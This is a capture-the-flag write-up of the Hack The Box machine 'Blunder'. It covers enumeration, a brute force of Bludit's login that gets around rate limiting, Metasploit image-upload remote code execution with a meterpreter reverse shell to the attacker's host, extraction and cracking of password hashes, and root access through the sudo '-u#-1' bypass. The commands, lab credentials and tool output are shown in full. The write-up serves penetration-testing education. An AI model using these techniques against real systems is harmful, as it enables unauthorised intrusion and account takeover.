Hack The Box : Blunder
26 July, 2020

Discovery
Beginning with an nmap scan, there are only two service, Apache on port 80 and FTP on port 21, which is closed.
kali@kali:~$ sudo nmap -A blunder.htb -p 1-10000
[sudo] password for kali:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-20 12:25 EDT
Nmap scan report for 10.10.10.191
Host is up (0.15s latency).
Not shown: 9998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|http-generator: Blunder
|http-server-header: Apache/2.4.41 (Ubuntu)
|http-title: Blunder | A blunder of interesting facts
Aggressive OS guesses: HP P2000 G3 NAS device (91%), Linux 2.6.32 (90%), Linux 2.6.32 - 3.1 (90%), Ubiquiti AirMax NanoStation WAP (Linux 2.6.32) (90%), Linux 3.7 (90%), Ubiquiti AirOS 5.5.9 (90%), Ubiquiti Pico Station WAP (AirOS 5.2.6) (89%), Linux 2.6.32 - 3.13 (89%), Linux 3.0 - 3.2 (89%), Infomir MAG-250 set-top box (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 150.17 ms 10.10.14.1
2 150.17 ms 10.10.10.191
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.02 seconds
The website is actually a blog

I saw a number of requests being made to paths /bl-kernel and /bl-themes

Exploring the directories didn't give a lot of information except a couple of javascript files that were a dead end too. So I began fuzzing from the root path. After going through a number of wordlists present on SecLists, one of them gave me back something useful.
root@kali:# ./gobuster dir -u http://blunder.htb/ -w wordlists/raft-medium-files-lowercase.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://blunder.htb/
[+] Threads: 10
[+] Wordlist: wordlists/raft-medium-files-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
Starting gobuster
===============================================================
/install.php (Status: 200)
/.htaccess (Status: 403)
/robots.txt (Status: 200)
/.html (Status: 403)
/.php (Status: 403)
/.htpasswd (Status: 403)
/.htm (Status: 403)
/.htpasswds (Status: 403)
/.gitignore (Status: 200)
/.htgroup (Status: 403)
/wp-forum.phps (Status: 403)
/.htaccess.bak (Status: 403)
/.htuser (Status: 403)
/.ht (Status: 403)
/.htc (Status: 403)
/todo.txt (Status: 200)
===============================================================
Finished
===============================================================
todo.txt was interesting. Got a possible username off of this, maybe for the admin dashboard of the blog page.

Back to Google, turns out Bludit 3.9.2 had a vulnerability because of a flaw in the way IP based login rate limiting worked. One could supply any random string as an IP to go around this limitation, essentially allowing a brute force attack for confirming the user and password. More details on that here. There are a number of scripts on Github to execute this exploit, so I just took one of them and kept rotating the wordlist to use. After trying a number of popular wordlists, based on a hint off of the HTB forum, I created a wordlist using the blog's home page.
out = open('words.txt', 'w')
unq = {}
for ln in open('index.html'):
line = ln.strip()
line = line.replace('<', ' ').replace('>', ' ').replace('/', ' ').replace('=', ' ').replace('"', ' ').replace('_', ' ').replace('-', ' ').replace('(', ' ').replace(')', ' ').replace('.', ' ').replace(',', ' ')
words = line.strip().split(' ')
for wd in words:
word = wd.strip()
if len(word) > 1:
unq[word] = word
for word in unq.values():
out.write(word)
out.write('\n')
This worked, I got the password.
root@kali:# python3 bludit-exp.py
...
...
...
[-] Trying: probably
[-] Trying: best
[-] Trying: fictional
[-] Trying: character
[-] Trying: RolandDeschain
SUCCESS: Password found!
Use fergus:RolandDeschain to login.
Here's what the dashboard looked like

User
The dashboard in itself didn't quite help, however there was another CVE conveniently available on Metasploit, allowing directory traversal and remote code execution byabusing a faulty image upload function while creating a new post.
msf5 > use exploit/linux/http/bludit_upload_images_exec
msf5 exploit(linux/http/bludit_upload_images_exec) > options
Module options (exploit/linux/http/bludit_upload_images_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
BLUDITPASS yes The password for Bludit
BLUDITUSER yes The username for Bludit
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path for Bludit
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Bludit v3.9.2
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set bludituser fergus
bludituser => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set bluditpass RolandDeschain
bluditpass => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(linux/http/bludit_upload_images_exec) > set lhost <my-ip>
lhost => <my-ip>
msf5 exploit(linux/http/bludit_upload_images_exec) > run
[-] Started reverse TCP handler on <my-ip>:4444
[+] Logged in as: fergus
[-] Retrieving UUID...
[-] Uploading XyMlXtxnAd.png...
[-] Uploading .htaccess...
[-] Executing XyMlXtxnAd.png...
[-] Sending stage (38288 bytes) to 10.10.10.191
[-] Meterpreter session 2 opened (<my-ip>:4444 -> 10.10.10.191:60580) at 2020-07-23 13:27:53 -0400
[+] Deleted .htaccess
meterpreter > cd /home/
meterpreter > dir
Listing: /home
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-05-26 04:29:29 -0400 hugo
40755/rwxr-xr-x 4096 dir 2020-04-28 07:13:35 -0400 shaun
meterpreter > cd hugo
meterpreter > dir
Listing: /home/hugo
===================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
20666/rw-rw-rw- 0 cha 2020-07-23 12:06:08 -0400 .bash_history
100644/rw-r--r-- 220 fil 2019-11-28 04:59:55 -0500 .bash_logout
100644/rw-r--r-- 3771 fil 2019-11-28 04:59:55 -0500 .bashrc
40700/rwx------ 4096 dir 2020-04-27 09:29:47 -0400 .cache
40700/rwx------ 4096 dir 2019-11-28 06:37:37 -0500 .config
40700/rwx------ 4096 dir 2020-04-27 09:30:11 -0400 .gnupg
40775/rwxrwxr-x 4096 dir 2019-11-28 05:03:01 -0500 .local
40700/rwx------ 4096 dir 2020-04-27 09:29:46 -0400 .mozilla
100644/rw-r--r-- 807 fil 2019-11-28 04:59:55 -0500 .profile
40700/rwx------ 4096 dir 2020-04-27 09:30:11 -0400 .ssh
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Desktop
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Documents
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Downloads
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Music
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Pictures
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Public
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Templates
40755/rwxr-xr-x 4096 dir 2019-11-28 06:36:30 -0500 Videos
100400/r-------- 33 fil 2020-07-23 12:07:14 -0400 user.txt
meterpreter > cat user.txt
[-] core_channel_open: Operation failed: 1
Well, the exploit worked but still not enough permissions to get the user flag.
Exploring the directories available using this shell
meterpreter > cd /var/www
meterpreter > dir
Listing: /var/www
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-05-19 10:13:22 -0400 bludit-3.10.0a
40775/rwxrwxr-x 4096 dir 2020-04-28 07:18:03 -0400 bludit-3.9.2
40755/rwxr-xr-x 4096 dir 2019-11-28 04:34:02 -0500 html
meterpreter > cd bludit-3.9.2
meterpreter > ls
Listing: /var/www/bludit-3.9.2
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40775/rwxrwxr-x 4096 dir 2019-06-21 05:02:02 -0400 .github
100775/rwxrwxr-x 563 fil 2019-06-21 05:02:02 -0400 .gitignore
100775/rwxrwxr-x 438 fil 2019-11-27 10:02:25 -0500 .htaccess
100775/rwxrwxr-x 1083 fil 2019-06-21 05:02:02 -0400 LICENSE
100775/rwxrwxr-x 2893 fil 2019-06-21 05:02:02 -0400 README.md
40755/rwxr-xr-x 4096 dir 2019-11-27 02:40:55 -0500 bl-content
40775/rwxrwxr-x 4096 dir 2019-11-27 08:48:17 -0500 bl-kernel
40775/rwxrwxr-x 4096 dir 2019-06-21 05:02:02 -0400 bl-languages
40775/rwxrwxr-x 4096 dir 2019-06-21 05:02:02 -0400 bl-plugins
40775/rwxrwxr-x 4096 dir 2019-06-21 05:02:02 -0400 bl-themes
100775/rwxrwxr-x 901 fil 2019-11-27 08:46:01 -0500 index.php
100775/rwxrwxr-x 20306 fil 2019-06-21 05:02:02 -0400 install.php
100644/rw-r--r-- 118 fil 2020-04-28 07:18:02 -0400 todo.txt
meterpreter > cat .htaccess
AddDefaultCharset UTF-8
<IfModule mod_rewrite.c>
# Enable rewrite rules
RewriteEngine on
# Base directory
RewriteBase /
# Deny direct access to the next directories
RewriteRule ^bl-content/(databases|workspaces|pages|tmp)/.*$ - [R=404,L]
# All URL process by index.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*) index.php [PT,L]
RewriteRule ^admin/ admin/index.php [PT,L]
</IfModule>
Finally found an interesting file called users.php inside bl-content
meterpreter > cd bl-content
meterpreter > ls
Listing: /var/www/bludit-3.9.2/bl-content
=========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-05-19 06:28:55 -0400 databases
40755/rwxr-xr-x 4096 dir 2020-04-28 06:24:28 -0400 pages
40755/rwxr-xr-x 4096 dir 2020-07-23 13:33:07 -0400 tmp
40755/rwxr-xr-x 4096 dir 2019-11-27 02:40:55 -0500 uploads
40755/rwxr-xr-x 4096 dir 2019-11-27 06:53:41 -0500 workspaces
meterpreter > cd databases
meterpreter > ls
Listing: /var/www/bludit-3.9.2/bl-content/databases
===================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 438 fil 2020-04-28 06:24:44 -0400 categories.php
100644/rw-r--r-- 3437 fil 2020-04-28 06:35:30 -0400 pages.php
40755/rwxr-xr-x 4096 dir 2019-11-27 06:53:41 -0500 plugins
100644/rw-r--r-- 4070 fil 2020-07-23 13:41:12 -0400 security.php
100644/rw-r--r-- 1319 fil 2020-05-19 06:28:54 -0400 site.php
100644/rw-r--r-- 2269 fil 2020-07-23 13:13:19 -0400 syslog.php
100644/rw-r--r-- 52 fil 2020-04-28 06:24:44 -0400 tags.php
100644/rw-r--r-- 1268 fil 2020-07-23 12:11:47 -0400 users.php
meterpreter > cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
"admin": {
"nickname": "Admin",
"firstName": "Administrator",
"lastName": "",
"role": "admin",
"password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
"salt": "5dde2887e7aca",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""
},
"fergus": {
"firstName": "",
"lastName": "",
"nickname": "",
"description": "",
"role": "author",
"password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
"salt": "jqxpjfnv",
"email": "",
"registered": "2019-11-27 13:26:44",
"tokenRemember": "",
"tokenAuth": "0e8011811356c0c5bd2211cba8c50471",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"codepen": "",
"instagram": "",
"github": "",
"gitlab": "",
"linkedin": "",
"mastodon": ""
}
}
We already know the password for fergus so let's focus on admin. This is a salted hash of the password. Using hash-identifier, I found out that this is an SHA1 hash. Tried to break this password using hashcat against a number of wordlists but nothing came up. Somehow, hashcat wasn't even recognizing the format it expects for salted SHA1 hashes according to the examples page so this was a rabbit hole I definitely went down.
Walking around the directories, turns out there is a directory for Bludit 3.10 as well. The same file bl-content/users.php was there and this time it didn't have a unsalted SHA1 password hash. Hashcat against rockyou wasn't helpful but CrackStation.net was.
root@kali:# hashcat --force -m 100 -a 0 hash.txt rockyou.txt
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
- Zero-Byte
- Early-Skip
- Not-Salted
- Not-Iterated
- Single-Hash
- Single-Salt
- Raw-Hash
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
- Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=3 -D DGST_R1=4 -D DGST_R2=2 -D DGST_R3=1 -D DGST_ELEM=5 -D KERN_TYPE=100 -D unroll'
Dictionary cache built:
- Filename..: rockyou.txt
- Passwords.: 14344392
- Bytes.....: 139921507
- Keyspace..: 14344385
- Runtime...: 4 secs
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: SHA1
Hash.Target......: faca404fd5c0a31cf1897b823c695c85cffeb98d
Guess.Base.......: File (../../wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1858.7 kH/s (0.33ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]

Back to meterpreter, switching to user hugo was now possible with this password
meterpreter > shell
Process 2824 created.
Channel 7 created.
su Hugo
su: user Hugo does not exist
su hugo
Password: Password120
whoami
hugo
cat /home/hugo/user.txt
<flag>
Root
Knowing more about the user hugo
python -c 'import pty; pty.spawn("/bin/bash")'
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp$ cd $HOME
cd $HOME
hugo@blunder:~$ sudo -l
sudo -l
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash
After exploring around this user's directories, checking crontab, checking running services and a bunch of other stuff, turns out I just had to search how the above permissions were flawed. This was the most interesting and yet frustating find throughout this whole box.
There is a vulnerability in sudo that allows bypassing the exact restrictions show above. This is a very good description of the bypass and how it works. An excerpt
However, the setresuid and setreuid system calls, which sudo uses to change the user ID before running the command, treat user ID -1 (or its unsigned equivalent 4294967295), specially and do not change the user ID for this value. As a result,
sudo -u#-1 id -uorsudo -u#4294967295 id -uwill actually return 0. This is because the sudo command itself is already running as user ID 0 so when sudo tries to change to user ID -1, no change occurs.
So yeah, got the root flag.
hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@blunder:/home/hugo# cd /root
root@blunder:/root# cat root.txt
cat root.txt
<flag>